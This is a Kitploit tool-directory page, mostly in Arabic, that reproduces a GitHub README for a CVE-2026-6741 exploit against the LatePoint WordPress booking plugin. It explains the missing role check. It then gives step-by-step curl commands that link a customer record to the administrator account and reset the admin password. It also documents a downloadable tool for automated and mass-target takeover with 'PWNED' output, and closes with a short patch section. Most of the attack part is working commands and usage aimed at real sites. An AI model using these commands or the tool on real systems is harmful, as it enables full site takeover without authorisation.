Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-6741 — CVE-2026-6741 هي ثغرة تصعيد امتيازات بدرجة خطورة CVSS 8.8 (عالية) تتطلب مصادقة (Agent+) في إضافة LatePoint – Calendar Booking Plugin | Kitploit
أدوات/GitHubGitHub/xxconi/cve-2026-6741
تصعيد الامتيازاتماسحات الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقالتعلم والتعليم
GitHubxxconi/cve-2026-6741

CVE-2026-6741

CVE-2026-6741 هي ثغرة تصعيد امتيازات بدرجة خطورة CVSS 8.8 (عالية) تتطلب مصادقة (Agent+) في إضافة LatePoint – Calendar Booking Plugin

عرض المستودع
3منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-6741

ثغرة CVE-2026-6741 هي ثغرة تصعيد صلاحيات (Privilege Escalation) بتقييم CVSS 8.8 (عالية) ومُوثَّقة (Authenticated Agent+) في إضافة LatePoint – Calendar Booking Plugin

CVE-2026-6741 — ماسح تصعيد الصلاحيات في LatePoint

الإضافة: LatePoint – Calendar Booking Plugin للمواعيد والفعاليات (latepoint) معرّف CVE: CVE-2026-6741 درجة CVSS: 8.8 (عالية) ناقل CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H نوع الثغرة: Authenticated (Agent+) Privilege Escalation → Administrator Takeover الإصدارات المتأثرة: <= 5.4.1 الإصدار المُصحَّح: 5.4.2 تاريخ النشر: 27 أبريل 2026 الباحثون: skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa — Wordfence


📌 حول الثغرة

يمكن لمهاجم مُوثَّق يمتلك دور latepoint_agent أن يربط أي سجل عميل (customer) في LatePoint بحساب مدير WordPress، ثم يستخدم تدفق إعادة تعيين كلمة المرور الخاص بـ LatePoint لتغيير كلمة مرور المدير.

يؤدي هذا إلى الاستيلاء الكامل على الموقع.


🔍 ملخص الثغرة


⚙️ التحليل الفني

واجهة Abilities API في WordPress

أضافت LatePoint 5.3.0 دعم Abilities API القادمة مع WordPress 6.9+. تتيح هذه الواجهة للإضافات تسجيل فئات "الصلاحيات" (ability) التي يمكن استدعاؤها عبر REST API:

root@kitploit:~
// latepoint.php (5.4.1, line 907)
if ( function_exists( 'wp_register_ability' ) ) {
    include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}

مسار الكود الضعيف

1 — تعريف الصلاحية (نقص التحقق من الدور)

root@kitploit:~
// lib/abilities/customers/connect-customer-to-wp-user.php — line 12
protected function configure(): void {
    $this->id         = 'latepoint/connect-customer-to-wp-user';
    $this->label      = __( 'Connect customer to WP user', 'latepoint' );
    $this->permission = 'customer__edit';   // ← tek kontrol: bu capability
}

يمتلك دور Agent افتراضيًا صلاحية customer__edit:

root@kitploit:~
// lib/helpers/roles_helper.php — line 401
public static function get_default_capabilities_list_for_agent_role() {
    $capabilities = [
        ...
        'customer__edit',   // ← agent bu yetkiye sahip
        ...
    ];
}

2 — الدالة execute() — لا يوجد تحقق من الدور

root@kitploit:~
// connect-customer-to-wp-user.php — lines 39–60
public function execute( array $args ) {
    $customer   = new OsCustomerModel( (int) $args['customer_id'] );
    $wp_user_id = (int) $args['wp_user_id'];

    if ( ! get_userdata( $wp_user_id ) ) {
        // Sadece kullanıcının var olup olmadığı kontrol ediliyor
        // EKSIK: Hedef kullanıcının rolü kontrol edilmiyor
        return new WP_Error( 'wp_user_not_found', ... );
    }

    $customer->wordpress_user_id = $wp_user_id;  // ← herhangi bir WP user'a bağla
    $customer->save();

    return $this->serialize_customer( ... );
}

3 — سلسلة إعادة تعيين كلمة المرور

root@kitploit:~
// lib/models/customer_model.php — line 315
public function update_password( $password ) {
    if ( OsAuthHelper::can_wp_users_login_as_customers()
         && $this->wordpress_user_id ) {
        wp_set_password( $password, $this->wordpress_user_id );
        // ↑ wordpress_user_id artık admin ID'si → admin şifresi değişir
    }
}

لماذا الضوابط الحالية غير كافية؟

root@kitploit:~
// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
    return OsRolesHelper::can_user( $this->permission );
    // Sadece ÇAĞIRANIN yetkisini kontrol eder
    // HEDEF kullanıcının rolünü kontrol etmez
}

🔴 سلسلة الهجوم

root@kitploit:~
latepoint_agent hesabı
        │
        ▼
1. Agent olarak WP'ye giriş yap → REST nonce al
        │
        ▼
2. Hedef admin WordPress user ID'sini tespit et
   (wp-json/wp/v2/users veya ID=1)
        │
        ▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
   { "customer_id": 5, "wp_user_id": 1 }
   → Rol kontrolü yok → Başarılı
        │
        ▼
4. LatePoint forgot_password → customer emailine reset token gönder
        │
        ▼
5. Token ile change_password → update_password() çağrılır
   → wp_set_password("Hacked!", 1)
   → Admin şifresi değişti
        │
        ▼
6. Yeni şifreyle admin olarak giriş → Tam site kontrolü ✓

🧪 إثبات المفهوم (يدوي)

⚠️ إخلاء مسؤولية: يُقدَّم إثبات المفهوم (PoC) هذا لأغراض تعليمية ولأبحاث أمنية دفاعية فقط.

المتطلبات الأساسية:

  • WordPress 6.9+ (يتطلب Abilities API)
  • LatePoint <= 5.4.1 مثبّتة ونشطة
  • حساب يمتلك دور latepoint_agent
  • سجل عميل (customer) في LatePoint تحت سيطرتك

الخطوة 1 — تسجيل دخول Agent + الحصول على REST Nonce

root@kitploit:~
WP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"

# Cookie tabanlı oturum aç
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
  -d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

# REST nonce al
NONCE=$(curl -s -b cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"

الخطوة 2 — تحديد معرّف مستخدم المدير (Admin User ID)

root@kitploit:~
# REST API ile admin kullanıcıları listele
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
  -H "X-WP-Nonce: $NONCE" | python3 -m json.tool

ADMIN_WP_USER_ID=1   # Genellikle ID=1

الخطوة 3 — ربط العميل بالمدير (الثغرة)

root@kitploit:~
CUSTOMER_ID=5   # Kontrol ettiğin LatePoint customer ID

curl -s -b cookies.txt -X POST \
  "$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
  -H "Content-Type: application/json" \
  -H "X-WP-Nonce: $NONCE" \
  -d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"

الاستجابة المتوقعة:

root@kitploit:~
{
  "id": 5,
  "wp_user_id": 1,
  "email": "[email protected]"
}

الخطوة 4 — بدء إعادة تعيين كلمة المرور

root@kitploit:~
CUSTOMER_EMAIL="[email protected]"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_email=$CUSTOMER_EMAIL"

ترسل LatePoint رسالة إعادة تعيين تحتوي على رمز account_nonce إلى عنوان $CUSTOMER_EMAIL.


الخطوة 5 — تغيير كلمة المرور

root@kitploit:~
RESET_TOKEN="<emailden_alinan_token>"
NEW_PASSWORD="Attacker_Password123!"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"

يُطلق هذا الاستدعاء سلسلة update_password() → wp_set_password($NEW_PASSWORD, 1). تم تغيير كلمة مرور المدير.


الخطوة 6 — تسجيل الدخول كمدير

root@kitploit:~
curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
  "$WP_URL/wp-login.php" \
  -d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

التحقق

root@kitploit:~
# wp-admin erişimi
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# Beklenen: 200 OK (wp-login.php'ye yönlendirme değil)

# REST API ile rol doğrulama
ADMIN_NONCE=$(curl -s -b admin_cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")

curl -s "$WP_URL/wp-json/wp/v2/users/me" \
  -H "X-WP-Nonce: $ADMIN_NONCE" | python3 -m json.tool
# Beklenen: "roles": ["administrator"]

🛠️ الماسح الآلي

التثبيت

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-6741-scanner
cd cve-2026-6741-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 الاستخدام

هدف واحد — تلقائي بالكامل

root@kitploit:~
python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123!

تحديد Admin ID ومعرّف Customer يدويًا

root@kitploit:~
python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123! \
  --admin-id 1 \
  --customer-id 5 \
  --customer-email [email protected]

المرحلة 2 — تغيير كلمة المرور باستخدام Reset Token

root@kitploit:~
python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123! \
  --admin-id 1 \
  --customer-id 5 \
  --customer-email [email protected] \
  --reset-token abc123xyz \
  --new-password Hacked_2026!

الفحص الجماعي

root@kitploit:~
python latepoint_privesc.py -l targets.txt -t 10 \
  --agent-user agent1 --agent-pass Pass123! \
  -o sonuclar.txt

عبر بروكسي (Burp Suite)

root@kitploit:~
python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123! \
  --proxy http://127.0.0.1:8080

⚙️ المعاملات

عامة

بيانات اعتماد Agent

المعاملالوصف
--agent-userاسم مستخدم Agent (إلزامي)
--agent-passكلمة مرور Agent (إلزامية)

معاملات الهدف

المعاملالوصفالافتراضي
--admin-idمعرّف مستخدم WP للمدير الهدف

إعادة تعيين كلمة المرور (المرحلة 2)

المعاملالوصفالافتراضي
--reset-tokenرمز إعادة التعيين المستلم من البريد—
--new-passwordكلمة مرور المدير الجديدةPwned_CVE2026_6741!

📊 حالات مخرجات الماسح


🖥️ مثال على مخرجات الماسح

root@kitploit:~
[*] Hedef         : http://hedef.com
[*] Agent         : agent1
[*] Admin ID      : otomatik tespit
[*] Customer ID   : otomatik tespit
[*] Reset Token   : email bekleniyor
[*] Yeni Şifre    : Pwned_CVE2026_6741!

[→] http://hedef.com  Adım 1/6: Agent girişi...
[→] http://hedef.com  Adım 2/6: Admin user ID tespiti...
[→] http://hedef.com  Adım 3/6: Customer ID tespiti...
[→] http://hedef.com  Adım 4/6: Customer #5 → Admin #1 bağlanıyor...
[→] http://hedef.com  Adım 5/6: Şifre sıfırlama başlatılıyor...
[→] http://hedef.com  Adım 6/6: Şifre değiştiriliyor (manuel token)...

════════════════════════════════════════════════════════════
[★ PWNED     ] http://hedef.com
  Sürüm       : 5.4.1
  Admin ID    : 1
  Customer    : #5 <[email protected]>
  Kullanıcı   : admin  roles=['administrator']
════════════════════════════════════════════════════════════

[+] Kaydedildi → privesc_results.txt

🔄 مخطط الاستخدام على مرحلتين

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│  AŞAMA 1 — Bağla + Reset Emaili Gönder                 │
│                                                         │
│  python latepoint_privesc.py -u http://hedef.com \      │
│    --agent-user agent1 --agent-pass Pass123! \          │
│    --customer-id 5 --customer-email [email protected]   │
│                                                         │
│  → Çıktı: "Reset emaili gönderildi — token bekleniyor" │
└─────────────────────────┬───────────────────────────────┘
                           │
                  Email'den token al
                           │
┌─────────────────────────▼───────────────────────────────┐
│  AŞAMA 2 — Token ile Şifreyi Değiştir                  │
│                                                         │
│  python latepoint_privesc.py -u http://hedef.com \      │
│    --agent-user agent1 --agent-pass Pass123! \          │
│    --customer-id 5 --customer-email [email protected] \ │
│    --reset-token abc123xyz \                            │
│    --new-password Hacked_2026!                          │
│                                                         │
│  → Çıktı: ★ PWNED — roles=['administrator']            │
└─────────────────────────────────────────────────────────┘

🛡️ الدفاع / التصحيح

مثال على execute() آمن:

root@kitploit:~
// Güvensiz (mevcut — 5.4.1)
if ( ! get_userdata( $wp_user_id ) ) {
    return new WP_Error( 'wp_user_not_found', ... );
}

// Güvenli (önerilen — 5.4.2+)
$target_user = get_userdata( $wp_user_id );
if ( ! $target_user ) {
    return new WP_Error( 'wp_user_not_found', ... );
}
// Hedef kullanıcının rolünü kontrol et
if ( in_array( 'administrator', (array) $target_user->roles ) ) {
    return new WP_Error( 'forbidden', 'Cannot link customer to administrator.' );
}

📁 بنية الملفات

root@kitploit:~
cve-2026-6741-scanner/
├── latepoint_privesc.py   # Ana tarayıcı
├── requirements.txt       # Bağımlılıklar
└── README.md              # Bu dosya

⚠️ إخلاء مسؤولية قانوني

أُعدّت هذه الأداة وإثبات المفهوم (PoC) للاستخدام فقط على الأنظمة المصرَّح بها، ولأغراض تعليمية وفي إطار اختبار الاختراق. استخدامها على أنظمة دون إذن يُعد جريمة بموجب المواد 243-245 من قانون العقوبات التركي وقوانين الجرائم الإلكترونية الدولية. لا يتحمل المطوّر أي مسؤولية قانونية ناتجة عن إساءة استخدام هذه الأداة.


📄 الترخيص

MIT License — لأغراض التعليم والبحث فقط.


🔗 المراجع

  • Wordfence Advisory
  • WordPress Abilities API — WP 6.9
  • LatePoint Plugin Directory
  • CVSS 3.1 Calculator
  • CWE-269: Improper Privilege Management
تنزيل الأداة
الحقلالقيمة
اسم الإضافةLatePoint – Calendar Booking Plugin
معرّف الإضافة (Slug)latepoint
معرّف CVECVE-2026-6741
درجة CVSS8.8 (عالية)
نوع الثغرةAuthenticated (Agent+) Privilege Escalation
الإصدار المتأثر<= 5.4.1
الإصدار المُصحَّح5.4.2
المتطلبدور latepoint_agent، WordPress 6.9+
المعاملالاختصارالوصفالافتراضي
--url-uرابط الهدف الفردي—
--list-lملف قائمة الأهداف—
--threads-tعدد الخيوط (threads)5
--output-oملف الإخراجprivesc_results.txt
--proxy—رابط البروكسي—
--timeout—مهلة الطلب (بالثواني)10
--force—المتابعة حتى لو فشل اكتشاف Abilities APIFalse
اكتشاف تلقائي
--customer-idمعرّف عميل LatePoint الخاضع للسيطرةاكتشاف تلقائي
--customer-emailعنوان بريد عميل LatePointبريد Agent الإلكتروني
الحالةالوصف
★ PWNEDتم تغيير كلمة مرور المدير وتسجيل الدخول
~ RESET_SENTتم إرسال بريد إعادة التعيين — بانتظار الرمز
~ PWD_CHANGEتم تغيير كلمة المرور — تحقق يدويًا من دخول المدير
- LINK_FAILفشل ربط العميل بالمدير
- LOGIN_FAILفشل تسجيل دخول Agent
- NO_PLUGINLatePoint غير مثبّتة
- NO_ABILITYAbilities API معطّلة (يتطلب WP 6.9+)
~ NO_CUSTتعذّر العثور على Customer ID — حدّده يدويًا
~ UNREACHلا يمكن الوصول إلى الهدف
الإجراء الوقائيالتطبيق
تحديث الإضافةالترقية إلى LatePoint 5.4.2+
إضافة التحقق من الدورالتحقق من دور المستخدم الهدف داخل execute()
تقييد Abilities APIإزالة صلاحية connect-customer-to-wp-user من دور Agent
حماية إعادة تعيين كلمة المرورتعطيل تدفق إعادة تعيين LatePoint لحسابات المديرين
مراجعة Abilities في WP 6.9مراجعة الصلاحيات (abilities) المسجلة بانتظام